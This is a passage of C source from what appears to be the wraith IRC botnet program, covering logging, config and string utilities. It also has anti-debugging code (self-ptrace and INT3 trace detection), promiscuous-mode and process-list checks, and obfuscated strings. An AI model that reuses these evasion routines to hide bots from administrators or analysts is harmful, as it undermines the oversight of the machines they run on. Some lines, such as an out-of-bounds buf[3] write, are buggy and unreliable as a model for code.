  647. if (*f >= '0' && *f <= '9') { /* Numeric IP address */
  648. while (*f != '.')
  649. f--;
  650. strncpy(nw, q, f - q);
  651. /* No need to nw[f-q] = 0 here, as the strcpy below will
  652. * terminate the string for us.
  653. */
  654. nw += (f - q);
  655. strcpy(nw, ".*");
  656. } else { /* Normal host >= 3 parts */
  657. /* a.b.c -> *.b.c
  658. * a.b.c.d -> *.b.c.d if tld is a country (2 chars)
  659. * OR *.c.d if tld is com/edu/etc (3 chars)
  660. * a.b.c.d.e -> *.c.d.e etc
  661. */
  662. const char *x = strchr(e + 1, '.');
  663. if (!x)
  664. x = p;
  665. else if (strchr(x + 1, '.'))
  666. x = e;
  667. else if (strlen(x) == 3)
  668. x = p;
  669. else
  670. x = e;
  671. sprintf(nw, "*%s", x);
  672. }
  673. }
  674. }
  675. }
  676. /* Dump a potentially super-long string of text.
  677. */
  678. void dumplots(int idx, const char *prefix, char *data)
  679. {
  680. char *p = data, *q, *n, c;
  681. const int max_data_len = 500 - strlen(prefix);
  682. if (!*data) {
  683. dprintf(idx, "%s\n", prefix);
  684. return;
  685. }
  686. while (strlen(p) > max_data_len) {
  687. q = p + max_data_len;
  688. /* Search for embedded linefeed first */
  689. n = strchr(p, '\n');
  690. if (n && n < q) {
  691. /* Great! dump that first line then start over */
  692. *n = 0;
  693. dprintf(idx, "%s%s\n", prefix, p);
  694. *n = '\n';
  695. p = n + 1;
  696. } else {
  697. /* Search backwards for the last space */
  698. while (*q != ' ' && q != p)
  699. q--;
  700. if (q == p)
  701. q = p + max_data_len;
  702. c = *q;
  703. *q = 0;
  704. dprintf(idx, "%s%s\n", prefix, p);
  705. *q = c;
  706. p = q;
  707. if (c == ' ')
  708. p++;
  709. }
  710. }
  711. /* Last trailing bit: split by linefeeds if possible */
  712. n = strchr(p, '\n');
  713. while (n) {
  714. *n = 0;
  715. dprintf(idx, "%s%s\n", prefix, p);
  716. *n = '\n';
  717. p = n + 1;
  718. n = strchr(p, '\n');
  719. }
  720. if (*p)
  721. dprintf(idx, "%s%s\n", prefix, p); /* Last trailing bit */
  722. }
  723. /* Convert an interval (in seconds) to one of:
  724. * "19 days ago", "1 day ago", "18:12"
  725. */
  726. void daysago(time_t now, time_t then, char *out)
  727. {
  728. if (now - then > 86400) {
  729. int days = (now - then) / 86400;
  730. sprintf(out, "%d day%s ago", days, (days == 1) ? "" : "s");
  731. return;
  732. }
  733. egg_strftime(out, 6, "%H:%M", localtime(&then));
  734. }
  735. /* Convert an interval (in seconds) to one of:
  736. * "in 19 days", "in 1 day", "at 18:12"
  737. */
  738. void days(time_t now, time_t then, char *out)
  739. {
  740. if (now - then > 86400) {
  741. int days = (now - then) / 86400;
  742. sprintf(out, "in %d day%s", days, (days == 1) ? "" : "s");
  743. return;
  744. }
  745. egg_strftime(out, 9, "at %H:%M", localtime(&now));
  746. }
  747. /* Convert an interval (in seconds) to one of:
  748. * "for 19 days", "for 1 day", "for 09:10"
  749. */
  750. void daysdur(time_t now, time_t then, char *out)
  751. {
  752. char s[81];
  753. int hrs, mins;
  754. if (now - then > 86400) {
  755. int days = (now - then) / 86400;
  756. sprintf(out, "for %d day%s", days, (days == 1) ? "" : "s");
  757. return;
  758. }
  759. strcpy(out, "for ");
  760. now -= then;
  761. hrs = (int) (now / 3600);
  762. mins = (int) ((now - (hrs * 3600)) / 60);
  763. sprintf(s, "%02d:%02d", hrs, mins);
  764. strcat(out, s);
  765. }
  766. /* show l33t banner */
  767. char *wbanner() {
  768. int r;
  769. r = random();
  770. switch (r % 7) {
  771. case 0: return STR(" .__ __ .__\n__ _ ______________ |__|/ |_| |__\n\\ \\/ \\/ /\\_ __ \\__ \\ | \\ __\\ | \\\n \\ / | | \\// __ \\| || | | Y \\\n \\/\\_/ |__| (____ /__||__| |___| /\n \\/ \\/\n");
  772. case 1: return STR(" _ _ _ \n__ ___ __ __ _(_) |_| |__ \n\\ \\ /\\ / / '__/ _` | | __| '_ \\ \n \\ V V /| | | (_| | | |_| | | |\n \\_/\\_/ |_| \\__,_|_|\\__|_| |_|\n");
  773. case 2: return STR("@@@ @@@ @@@ @@@@@@@ @@@@@@ @@@ @@@@@@@ @@@ @@@\n@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@ @@@@@@@ @@@ @@@\n@@! @@! @@! @@! @@@ @@! @@@ @@! @@! @@! @@@\n!@! !@! !@! !@! @!@ !@! @!@ !@! !@! !@! @!@\n@!! !!@ @!@ @!@!!@! @!@!@!@! !!@ @!! @!@!@!@!\n!@! !!! !@! !!@!@! !!!@!!!! !!! !!! !!!@!!!!\n!!: !!: !!: !!: :!! !!: !!! !!: !!: !!: !!!\n:!: :!: :!: :!: !:! :!: !:! :!: :!: :!: !:!\n :::: :: ::: :: ::: :: ::: :: :: :: :::\n :: : : : : : : : : : : : : : :\n");
  774. case 3: return STR(" o8o . oooo\n `\"' .o8 `888\noooo oooo ooo oooo d8b .oooo. oooo .o888oo 888 .oo.\n `88. `88. .8' `888\"\"8P `P )88b `888 888 888P\"Y88b\n `88..]88..8' 888 .oP\"888 888 888 888 888\n `888'`888' 888 d8( 888 888 888 . 888 888\n `8' `8' d888b `Y888\"\"8o o888o \"888\" o888o o888o\n");
  775. case 4: return STR(" *\n * * **\n** *** ** **\n** * ** **\n ** *** **** *** **** ******** **\n ** *** *** * **** **** * **** *** ******** ** ***\n ** *** **** ** **** * *** * *** ** ** * ***\n ** ** ** ** * **** ** ** *** ***\n ** ** ** ** ** ** ** ** ** **\n ** ** ** ** ** ** ** ** ** **\n ** ** ** ** ** ** ** ** ** **\n ** ** * ** ** ** ** ** ** **\n ******* ******* *** ** ** ** ** ** **\n ***** ***** *** ***** ** *** * ** ** **\n *** ** *** ** **\n *\n *\n *\n *\n");
  776. case 5: return STR(" ::: === === :::==== :::==== ::: :::==== ::: ===\n ::: === === ::: === ::: === ::: :::==== ::: ===\n === === === ======= ======== === === ========\n =========== === === === === === === === ===\n ==== ==== === === === === === === === ===\n");
  777. case 6: return STR(" _ _ _ ______ _______ _____ _______ _ _\n | | | |_____/ |_____| | | |_____|\n |__|__| | \\_ | | __|__ | | |\n");
  778. }
  779. return "";
  780. }
  781. void show_banner(int idx)
  782. {
  783. dprintf(idx, "%s", wbanner());
  784. dprintf(idx, "\n \n");
  785. dprintf(idx, STR("info, bugs, suggestions, comments:\n- http://www.shatow.net/wraith/ -\n"));
  786. }
  787. /* show motd to dcc chatter */
  788. void show_motd(int idx)
  789. {
  790. dprintf(idx, STR("Motd: "));
  791. if (CFG_MOTD.gdata && *(char *) CFG_MOTD.gdata)
  792. dprintf(idx, STR("%s\n"), (char *) CFG_MOTD.gdata);
  793. else
  794. dprintf(idx, STR("none\n"));
  795. }
  796. void show_channels(int idx, char *handle)
  797. {
  798. struct chanset_t *chan;
  799. struct flag_record fr = { FR_CHAN | FR_GLOBAL, 0, 0, 0, 0 };
  800. struct userrec *u;
  801. int first = 0, l = 0, total = 0;
  802. char format[120];
  803. if (handle)
  804. u = get_user_by_handle(userlist, handle);
  805. else
  806. u = dcc[idx].user;
  807. for (chan = chanset;chan;chan = chan->next) {
  808. get_user_flagrec(u, &fr, chan->dname);
  809. if (l < strlen(chan->dname)) {
  810. l = strlen(chan->dname);
  811. }
  812. if ((!channel_private(chan) || (channel_private(chan) && (chan_op(fr) || glob_owner(fr)))) &&
  813. (glob_owner(fr) || ((glob_op(fr) || chan_op(fr)) && !(chan_deop(fr) || glob_deop(fr))))) {
  814. total++;
  815. }
  816. }
  817. egg_snprintf(format, sizeof format, " %%-%us %%-s%%-s%%-s%%-s%%-s\n", (l+2));
  818. for (chan = chanset;chan;chan = chan->next) {
  819. get_user_flagrec(u, &fr, chan->dname);
  820. if ((!channel_private(chan) || (channel_private(chan) && (chan_op(fr) || glob_owner(fr)))) &&
  821. (glob_owner(fr) || ((glob_op(fr) || chan_op(fr)) && !(chan_deop(fr) || glob_deop(fr))))) {
  822. if (!first) {
  823. dprintf(idx, STR("%s %s access to %d channel%s:\n"), handle ? u->handle : "You", handle ? "has" : "have", total, (total > 1) ? "s" : "");
  824. first = 1;
  825. }
  826. dprintf(idx, format, chan->dname, channel_inactive(chan) ? "(inactive) " : "",
  827. channel_private(chan) ? "(private) " : "", !channel_manop(chan) ? "(no manop) " : "",
  828. channel_bitch(chan) ? "(bitch) " : "", channel_closed(chan) ? "(closed)" : "");
  829. }
  830. }
  831. if (!first)
  832. dprintf(idx, "%s %s not have access to any channels.\n", handle ? u->handle : "You", handle ? "does" : "do");
  833. }
  834. int getting_users()
  835. {
  836. int i;
  837. for (i = 0; i < dcc_total; i++)
  838. if ((dcc[i].type == &DCC_BOT) && (dcc[i].status & STAT_GETTING))
  839. return 1;
  840. return 0;
  841. }
  842. int prand(int *seed, int range)
  843. {
  844. long long i1;
  845. i1 = *seed;
  846. i1 = (i1 * 0x08088405 + 1) & 0xFFFFFFFF;
  847. *seed = i1;
  848. i1 = (i1 * range) >> 32;
  849. return i1;
  850. }
  851. /*
  852. * Logging functions
  853. */
  854. /* Log something
  855. * putlog(level,channel_name,format,...);
  856. */
  857. void putlog EGG_VARARGS_DEF(int, arg1)
  858. {
  859. int i, type, tsl = 0, dohl = 0; //hl
  860. char *format, *chname, s[LOGLINELEN], *out, stamp[34], buf2[LOGLINELEN];
  861. va_list va;
  862. #ifdef HUB
  863. time_t now2 = time(NULL);
  864. #endif
  865. struct tm *t;
  866. #ifdef LEAF
  867. t = 0;
  868. #endif
  869. type = EGG_VARARGS_START(int, arg1, va);
  870. chname = va_arg(va, char *);
  871. format = va_arg(va, char *);
  872. //The putlog should not be broadcast over bots, @ is *.
  873. if ((chname[0] == '*'))
  874. dohl = 1;
  875. #ifdef HUB
  876. t = localtime(&now2);
  877. if (shtime) {
  878. egg_strftime(stamp, sizeof(stamp) - 2, LOG_TS, t);
  879. strcat(stamp, " ");
  880. tsl = strlen(stamp);
  881. }
  882. #endif
  883. /* Format log entry at offset 'tsl,' then i can prepend the timestamp */
  884. out = s+tsl;
  885. /* No need to check if out should be null-terminated here,
  886. * just do it! <cybah>
  887. */
  888. egg_vsnprintf(out, LOGLINEMAX - tsl, format, va);
  889. out[LOGLINEMAX - tsl] = 0;
  890. /* Place the timestamp in the string to be printed */
  891. if ((out[0]) && (shtime)) {
  892. strncpy(s, stamp, tsl);
  893. out = s;
  894. }
  895. strcat(out, "\n");
  896. /* WRITE LOG HERE */
  897. /* echo line to hubs (not if it was on a +h though)*/
  898. if (dohl) {
  899. tand_t *bot;
  900. struct userrec *ubot;
  901. sprintf(buf2, "hl %d %s", type, out);
  902. if (userlist && !loading) {
  903. for (bot = tandbot ;bot ; bot = bot->next) {
  904. ubot = get_user_by_handle(userlist, bot->bot);
  905. if (ubot) {
  906. if (bot_hublevel(ubot) < 999) {
  907. putbot(ubot->handle, buf2);
  908. }
  909. }
  910. }
  911. } else {
  912. botnet_send_zapf_broad(-1, botnetnick, NULL, buf2);
  913. }
  914. }
  915. for (i = 0; i < dcc_total; i++)
  916. if ((dcc[i].type == &DCC_CHAT) && (dcc[i].u.chat->con_flags & type)) {
  917. if ((chname[0] == '@') || (chname[0] == '*') || (dcc[i].u.chat->con_chan[0] == '*') ||
  918. (!rfc_casecmp(chname, dcc[i].u.chat->con_chan)))
  919. dprintf(i, "%s", out);
  920. }
  921. if ((!backgrd) && (!con_chan) && (!term_z))
  922. dprintf(DP_STDOUT, "%s", out);
  923. else if ((type & LOG_MISC) && use_stderr) {
  924. if (shtime)
  925. out += tsl;
  926. dprintf(DP_STDERR, "%s", s);
  927. }
  928. va_end(va);
  929. }
  930. char *extracthostname(char *hostmask)
  931. {
  932. char *p = strrchr(hostmask, '@');
  933. return p ? p + 1 : "";
  934. }
  935. /* Create a string with random letters and digits
  936. */
  937. void make_rand_str(char *s, int len)
  938. {
  939. int j, r = 0;
  940. Context;
  941. for (j = 0; j < len; j++) {
  942. r = random();
  943. if (r % 4 == 0)
  944. s[j] = '0' + (random() % 10);
  945. else if (r % 4 == 1)
  946. s[j] = 'a' + (random() % 26);
  947. else if (r % 4 == 2)
  948. s[j] = 'A' + (random() % 26);
  949. else
  950. s[j] = '!' + (random() % 15);
  951. if (s[j] == 33 || s[j] == 37 || s[j] == 34 || s[j] == 40 || s[j] == 41 || s[j] == 38 || s[j] == 36) //no % ( ) &
  952. s[j] = 35;
  953. }
  954. s[len] = '\0';
  955. }
  956. /* Convert an octal string into a decimal integer value. If the string
  957. * is empty or contains non-octal characters, -1 is returned.
  958. */
  959. int oatoi(const char *octal)
  960. {
  961. register int i;
  962. if (!*octal)
  963. return -1;
  964. for (i = 0; ((*octal >= '0') && (*octal <= '7')); octal++)
  965. i = (i * 8) + (*octal - '0');
  966. if (*octal)
  967. return -1;
  968. return i;
  969. }
  970. /* Return an allocated buffer which contains a copy of the string
  971. * 'str', with all 'div' characters escaped by 'mask'. 'mask'
  972. * characters are escaped too.
  973. *
  974. * Remember to free the returned memory block.
  975. */
  976. char *str_escape(const char *str, const char div, const char mask)
  977. {
  978. const int len = strlen(str);
  979. int buflen = (2 * len), blen = 0;
  980. char *buf = nmalloc(buflen + 1), *b = buf;
  981. const char *s;
  982. if (!buf)
  983. return NULL;
  984. for (s = str; *s; s++) {
  985. /* Resize buffer. */
  986. if ((buflen - blen) <= 3) {
  987. buflen = (buflen * 2);
  988. buf = nrealloc(buf, buflen + 1);
  989. if (!buf)
  990. return NULL;
  991. b = buf + blen;
  992. }
  993. if (*s == div || *s == mask) {
  994. sprintf(b, "%c%02x", mask, *s);
  995. b += 3;
  996. blen += 3;
  997. } else {
  998. *(b++) = *s;
  999. blen++;
  1000. }
  1001. }
  1002. *b = 0;
  1003. return buf;
  1004. }
  1005. /* Search for a certain character 'div' in the string 'str', while
  1006. * ignoring escaped characters prefixed with 'mask'.
  1007. *
  1008. * The string
  1009. *
  1010. * "\\3a\\5c i am funny \\3a):further text\\5c):oink"
  1011. *
  1012. * as str, '\\' as mask and ':' as div would change the str buffer
  1013. * to
  1014. *
  1015. * ":\\ i am funny :)"
  1016. *
  1017. * and return a pointer to "further text\\5c):oink".
  1018. *
  1019. * NOTE: If you look carefully, you'll notice that strchr_unescape()
  1020. * behaves differently than strchr().
  1021. */
  1022. char *strchr_unescape(char *str, const char div, register const char esc_char)
  1023. {
  1024. char buf[3];
  1025. register char *s, *p;
  1026. buf[3] = 0;
  1027. for (s = p = str; *s; s++, p++) {
  1028. if (*s == esc_char) { /* Found escape character. */
  1029. /* Convert code to character. */
  1030. buf[0] = s[1], buf[1] = s[2];
  1031. *p = (unsigned char) strtol(buf, NULL, 16);
  1032. s += 2;
  1033. } else if (*s == div) {
  1034. *p = *s = 0;
  1035. return (s + 1); /* Found searched for character. */
  1036. } else
  1037. *p = *s;
  1038. }
  1039. *p = 0;
  1040. return NULL;
  1041. }
  1042. /* As strchr_unescape(), but converts the complete string, without
  1043. * searching for a specific delimiter character.
  1044. */
  1045. void str_unescape(char *str, register const char esc_char)
  1046. {
  1047. (void) strchr_unescape(str, 0, esc_char);
  1048. }
  1049. /* Kills the bot. s1 is the reason shown to other bots,
  1050. * s2 the reason shown on the partyline. (Sup 25Jul2001)
  1051. */
  1052. void kill_bot(char *s1, char *s2)
  1053. {
  1054. #ifdef HUB
  1055. write_userfile(-1);
  1056. #endif
  1057. call_hook(HOOK_DIE);
  1058. chatout("*** %s\n", s1);
  1059. botnet_send_chat(-1, botnetnick, s1);
  1060. botnet_send_bye();
  1061. fatal(s2, 0);
  1062. }
  1063. int isupdatehub()
  1064. {
  1065. #ifdef HUB
  1066. struct userrec *buser;
  1067. buser = get_user_by_handle(userlist, botnetnick);
  1068. if ((buser) && (buser->flags & USER_UPDATEHUB))
  1069. return 1;
  1070. else
  1071. #endif
  1072. return 0;
  1073. }
  1074. int ischanhub()
  1075. {
  1076. struct userrec *buser;
  1077. buser = get_user_by_handle(userlist, botnetnick);
  1078. if ((buser) && (buser->flags & USER_CHANHUB))
  1079. return 1;
  1080. else
  1081. return 0;
  1082. }
  1083. #ifdef S_DCCPASS
  1084. int check_cmd_pass(char *cmd, char *pass)
  1085. {
  1086. struct cmd_pass *cp;
  1087. for (cp = cmdpass; cp; cp = cp->next)
  1088. if (!strcasecmp2(cmd, cp->name)) {
  1089. char tmp[32];
  1090. encrypt_pass(pass, tmp);
  1091. if (!strcmp(tmp, cp->pass))
  1092. return 1;
  1093. return 0;
  1094. }
  1095. return 0;
  1096. }
  1097. int has_cmd_pass(char *cmd)
  1098. {
  1099. struct cmd_pass *cp;
  1100. for (cp = cmdpass; cp; cp = cp->next)
  1101. if (!strcasecmp2(cmd, cp->name))
  1102. return 1;
  1103. return 0;
  1104. }
  1105. void set_cmd_pass(char *ln, int shareit) {
  1106. struct cmd_pass *cp;
  1107. char *cmd;
  1108. cmd = newsplit(&ln);
  1109. for (cp = cmdpass; cp; cp = cp->next)
  1110. if (!strcmp(cmd, cp->name))
  1111. break;
  1112. if (cp)
  1113. if (ln[0]) {
  1114. /* change */
  1115. strcpy(cp->pass, ln);
  1116. if (shareit)
  1117. botnet_send_cmdpass(-1, cp->name, cp->pass);
  1118. } else {
  1119. if (cp == cmdpass)
  1120. cmdpass = cp->next;
  1121. else {
  1122. struct cmd_pass *cp2;
  1123. cp2 = cmdpass;
  1124. while (cp2->next != cp)
  1125. cp2 = cp2->next;
  1126. cp2->next = cp->next;
  1127. }
  1128. if (shareit)
  1129. botnet_send_cmdpass(-1, cp->name, "");
  1130. nfree(cp->name);
  1131. nfree(cp);
  1132. } else if (ln[0]) {
  1133. /* create */
  1134. cp = nmalloc(sizeof(struct cmd_pass));
  1135. cp->next = cmdpass;
  1136. cmdpass = cp;
  1137. cp->name = nmalloc(strlen(cmd) + 1);
  1138. strcpy(cp->name, cmd);
  1139. strcpy(cp->pass, ln);
  1140. if (shareit)
  1141. botnet_send_cmdpass(-1, cp->name, cp->pass);
  1142. }
  1143. }
  1144. #endif
  1145. #ifdef S_LASTCHECK
  1146. char last_buf[128]="";
  1147. #endif
  1148. void check_last() {
  1149. #ifdef S_LASTCHECK
  1150. char user[20];
  1151. struct passwd *pw;
  1152. if (!strcmp((char *) CFG_LOGIN.ldata ? CFG_LOGIN.ldata : CFG_LOGIN.gdata ? CFG_LOGIN.gdata : "", STR("nocheck")))
  1153. return;
  1154. Context;
  1155. pw = getpwuid(geteuid());
  1156. Context;
  1157. if (!pw) return;
  1158. strncpy0(user, pw->pw_name ? pw->pw_name : "" , sizeof(user));
  1159. if (user[0]) {
  1160. char *out;
  1161. char buf[50];
  1162. sprintf(buf, STR("last %s"), user);
  1163. if (shell_exec(buf, NULL, &out, NULL)) {
  1164. if (out) {
  1165. char *p;
  1166. p = strchr(out, '\n');
  1167. if (p)
  1168. *p = 0;
  1169. if (strlen(out) > 10) {
  1170. if (last_buf[0]) {
  1171. if (strncmp(last_buf, out, sizeof(last_buf))) {
  1172. char wrk[16384];
  1173. sprintf(wrk, STR("Login: %s"), out);
  1174. detected(DETECT_LOGIN, wrk);
  1175. }
  1176. }
  1177. strncpy0(last_buf, out, sizeof(last_buf));
  1178. }
  1179. nfree(out);
  1180. }
  1181. }
  1182. }
  1183. #endif
  1184. }
  1185. void check_processes()
  1186. {
  1187. #ifdef S_PROCESSCHECK
  1188. char *proclist,
  1189. *out,
  1190. *p,
  1191. *np,
  1192. *curp,
  1193. buf[1024],
  1194. bin[128];
  1195. if (!strcmp((char *) CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : "", STR("nocheck")))
  1196. return;
  1197. proclist = (char *) (CFG_PROCESSLIST.ldata && ((char *) CFG_PROCESSLIST.ldata)[0] ?
  1198. CFG_PROCESSLIST.ldata : CFG_PROCESSLIST.gdata && ((char *) CFG_PROCESSLIST.gdata)[0] ? CFG_PROCESSLIST.gdata : NULL);
  1199. if (!proclist)
  1200. return;
  1201. if (!shell_exec(STR("ps x"), NULL, &out, NULL))
  1202. return;
  1203. /* Get this binary's filename */
  1204. strncpy0(buf, binname, sizeof(buf));
  1205. p = strrchr(buf, '/');
  1206. if (p) {
  1207. p++;
  1208. strncpy0(bin, p, sizeof(bin));
  1209. } else {
  1210. bin[0] = 0;
  1211. }
  1212. /* Fix up the "permitted processes" list */
  1213. p = nmalloc(strlen(proclist) + strlen(bin) + 6);
  1214. strcpy(p, proclist);
  1215. strcat(p, " ");
  1216. strcat(p, bin);
  1217. strcat(p, " ");
  1218. proclist = p;
  1219. curp = out;
  1220. while (curp) {
  1221. np = strchr(curp, '\n');
  1222. if (np)
  1223. *np++ = 0;
  1224. if (atoi(curp) > 0) {
  1225. char *pid,
  1226. *tty,
  1227. *stat,
  1228. *time,
  1229. cmd[512],
  1230. line[2048];
  1231. strncpy0(line, curp, sizeof(line));
  1232. /* it's a process line */
  1233. /* Assuming format: pid tty stat time cmd */
  1234. pid = newsplit(&curp);
  1235. tty = newsplit(&curp);
  1236. stat = newsplit(&curp);
  1237. time = newsplit(&curp);
  1238. strncpy0(cmd, curp, sizeof(cmd));
  1239. /* skip any <defunct> procs "/bin/sh -c" crontab stuff and binname crontab stuff */
  1240. if (!strstr(cmd, STR("<defunct>")) && !strncmp(cmd, STR("/bin/sh -c"), 10)
  1241. && !strncmp(cmd, binname, strlen(binname))) {
  1242. /* get rid of any args */
  1243. if ((p = strchr(cmd, ' ')))
  1244. *p = 0;
  1245. /* remove [] or () */
  1246. if (strlen(cmd)) {
  1247. p = cmd + strlen(cmd) - 1;
  1248. if (((cmd[0] == '(') && (*p == ')')) || ((cmd[0] == '[') && (*p == ']'))) {
  1249. *p = 0;
  1250. strcpy(buf, cmd + 1);
  1251. strcpy(cmd, buf);
  1252. }
  1253. }
  1254. /* remove path */
  1255. if ((p = strrchr(cmd, '/'))) {
  1256. p++;
  1257. strcpy(buf, p);
  1258. strcpy(cmd, buf);
  1259. }
  1260. /* skip "ps" */
  1261. if (strcmp(cmd, "ps")) {
  1262. /* see if proc's in permitted list */
  1263. strcat(cmd, " ");
  1264. if ((p = strstr(proclist, cmd))) {
  1265. /* Remove from permitted list */
  1266. while (*p != ' ')
  1267. *p++ = 1;
  1268. } else {
  1269. char wrk[16384];
  1270. sprintf(wrk, STR("Unexpected process: %s"), line);
  1271. detected(DETECT_PROCESS, wrk);
  1272. }
  1273. }
  1274. }
  1275. }
  1276. curp = np;
  1277. }
  1278. nfree(proclist);
  1279. if (out)
  1280. nfree(out);
  1281. #endif /* S_PROCESSCHECK */
  1282. }
  1283. void check_promisc()
  1284. {
  1285. #ifdef S_PROMISC
  1286. #ifdef SIOCGIFCONF
  1287. char buf[8192];
  1288. struct ifreq ifreq,
  1289. *ifr;
  1290. struct ifconf ifcnf;
  1291. char *cp,
  1292. *cplim;
  1293. int sock;
  1294. if (!strcmp((char *) CFG_PROMISC.ldata ? CFG_PROMISC.ldata : CFG_PROMISC.gdata ? CFG_PROMISC.gdata : "", STR("nocheck")))
  1295. return;
  1296. sock = socket(AF_INET, SOCK_STREAM, 0);
  1297. ifcnf.ifc_len = 8191;
  1298. ifcnf.ifc_buf = buf;
  1299. if (ioctl(sock, SIOCGIFCONF, (char *) &ifcnf) < 0) {
  1300. close(sock);
  1301. return;
  1302. }
  1303. ifr = ifcnf.ifc_req;
  1304. cplim = buf + ifcnf.ifc_len;
  1305. for (cp = buf; cp < cplim; cp += sizeof(ifr->ifr_name) + sizeof(ifr->ifr_addr)) {
  1306. ifr = (struct ifreq *) cp;
  1307. ifreq = *ifr;
  1308. if (!ioctl(sock, SIOCGIFFLAGS, (char *) &ifreq)) {
  1309. if (ifreq.ifr_flags & IFF_PROMISC) {
  1310. close(sock);
  1311. detected(DETECT_PROMISC, STR("Detected promiscuous mode"));
  1312. return;
  1313. }
  1314. }
  1315. }
  1316. close(sock);
  1317. #endif /* SIOCGIFCONF */
  1318. #endif /* S_PROMISC */
  1319. }
  1320. #ifdef S_ANTITRACE
  1321. int traced = 0;
  1322. void got_trace(int z)
  1323. {
  1324. traced = 0;
  1325. }
  1326. #endif
  1327. void check_trace(int n)
  1328. {
  1329. #ifdef S_ANTITRACE
  1330. int x,
  1331. parent,
  1332. i;
  1333. struct sigaction sv,
  1334. *oldsv = NULL;
  1335. if (n && !strcmp((char *) CFG_TRACE.ldata ? CFG_TRACE.ldata : CFG_TRACE.gdata ? CFG_TRACE.gdata : "", STR("nocheck")))
  1336. return;
  1337. parent = getpid();
  1338. #ifdef __linux__
  1339. egg_bzero(&sv, sizeof(sv));
  1340. sv.sa_handler = got_trace;
  1341. sigemptyset(&sv.sa_mask);
  1342. oldsv = NULL;
  1343. sigaction(SIGTRAP, &sv, oldsv);
  1344. traced = 1;
  1345. asm("INT3");
  1346. sigaction(SIGTRAP, oldsv, NULL);
  1347. if (traced)
  1348. detected(DETECT_TRACE, STR("I'm being traced!"));
  1349. else {
  1350. x = fork();
  1351. if (x == -1)
  1352. return;
  1353. else if (x == 0) {
  1354. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  1355. if (i == (-1) && errno == EPERM)
  1356. detected(DETECT_TRACE, STR("I'm being traced!"));
  1357. else {
  1358. waitpid(parent, &i, 0);
  1359. kill(parent, SIGCHLD);
  1360. ptrace(PTRACE_DETACH, parent, 0, 0);
  1361. kill(parent, SIGCHLD);
  1362. }
  1363. exit(0);
  1364. } else
  1365. wait(&i);
  1366. }
  1367. #endif
  1368. #ifdef __FreeBSD__
  1369. x = fork();
  1370. if (x == -1)
  1371. return;
  1372. else if (x == 0) {
  1373. i = ptrace(PT_ATTACH, parent, 0, 0);
  1374. if (i == (-1) && errno == EBUSY)
  1375. detected(DETECT_TRACE, STR("I'm being traced"));
  1376. else {
  1377. wait(&i);
  1378. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1379. kill(parent, SIGCHLD);
  1380. wait(&i);
  1381. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1382. wait(&i);
  1383. }
  1384. exit(0);
  1385. } else
  1386. waitpid(x, NULL, 0);
  1387. #endif /* __FreeBSD__ */
  1388. #ifdef __OpenBD__
  1389. x = fork();
  1390. if (x == -1)
  1391. return;
  1392. else if (x == 0) {
  1393. i = ptrace(PT_ATTACH, parent, 0, 0);
  1394. if (i == (-1) && errno == EBUSY)
  1395. detected(DETECT_TRACE, STR("I'm being traced"));
  1396. else {
  1397. wait(&i);
  1398. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1399. kill(parent, SIGCHLD);
  1400. wait(&i);
  1401. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1402. wait(&i);
  1403. }
  1404. exit(0);
  1405. } else
  1406. waitpid(x, NULL, 0);
  1407. #endif /* __OpenBSD__ */
  1408. #endif /* S_ANTITRACE */
  1409. }
  1410. struct cfg_entry *check_can_set_cfg(char *target, char *entryname)
  1411. {
  1412. int i;
  1413. struct userrec *u;
  1414. struct cfg_entry *entry = NULL;
  1415. for (i = 0; i < cfg_count; i++)
  1416. if (!strcmp(cfg[i]->name, entryname)) {
  1417. entry = cfg[i];
  1418. break;
  1419. }
  1420. if (!entry)
  1421. return 0;
  1422. if (target) {
  1423. if (!(entry->flags & CFGF_LOCAL))
  1424. return 0;
  1425. if (!(u = get_user_by_handle(userlist, target)))
  1426. return 0;
  1427. if (!(u->flags & USER_BOT))
  1428. return 0;
  1429. } else {
  1430. if (!(entry->flags & CFGF_GLOBAL))
  1431. return 0;
  1432. }
  1433. return entry;
  1434. }
  1435. void set_cfg_str(char *target, char *entryname, char *data)
  1436. {
  1437. struct cfg_entry *entry;
  1438. int free = 0;
  1439. if (!(entry = check_can_set_cfg(target, entryname)))
  1440. return;
  1441. if (data && !strcmp(data, "-"))
  1442. data = NULL;
  1443. if (data && (strlen(data) >= 1024))
  1444. data[1023] = 0;
  1445. if (target) {
  1446. struct userrec *u = get_user_by_handle(userlist, target);
  1447. struct xtra_key *xk;
  1448. char *olddata = entry->ldata;
  1449. if (u && !strcmp(botnetnick, u->handle)) {
  1450. if (data) {
  1451. entry->ldata = nmalloc(strlen(data) + 1);
  1452. strcpy(entry->ldata, data);
  1453. } else
  1454. entry->ldata = NULL;
  1455. if (entry->localchanged) {
  1456. int valid = 1;
  1457. entry->localchanged(entry, olddata, &valid);
  1458. if (!valid) {
  1459. if (entry->ldata)
  1460. nfree(entry->ldata);
  1461. entry->ldata = olddata;
  1462. data = olddata;
  1463. olddata = NULL;
  1464. }
  1465. }
  1466. }
  1467. xk = nmalloc(sizeof(struct xtra_key));
  1468. egg_bzero(xk, sizeof(struct xtra_key));
  1469. xk->key = nmalloc(strlen(entry->name) + 1);
  1470. strcpy(xk->key, entry->name);
  1471. if (data) {
  1472. xk->data = nmalloc(strlen(data) + 1);
  1473. strcpy(xk->data, data);
  1474. }
  1475. set_user(&USERENTRY_CONFIG, u, xk);
  1476. if (olddata)
  1477. nfree(olddata);
  1478. } else {
  1479. char *olddata = entry->gdata;
  1480. if (data) {
  1481. free = 1;
  1482. entry->gdata = nmalloc(strlen(data) + 1);
  1483. strcpy(entry->gdata, data);
  1484. } else
  1485. entry->gdata = NULL;
  1486. if (entry->globalchanged) {
  1487. int valid = 1;
  1488. entry->globalchanged(entry, olddata, &valid);
  1489. if (!valid) {
  1490. if (entry->gdata)
  1491. nfree(entry->gdata);
  1492. entry->gdata = olddata;
  1493. olddata = NULL;
  1494. }
  1495. }
  1496. if (!cfg_noshare)
  1497. botnet_send_cfg_broad(-1, entry);
  1498. if (olddata)
  1499. nfree(olddata);
  1500. }
  1501. }
  1502. void userfile_cfg_line(char *ln)
  1503. {
  1504. char *name;
  1505. int i;
  1506. struct cfg_entry *cfgent = NULL;
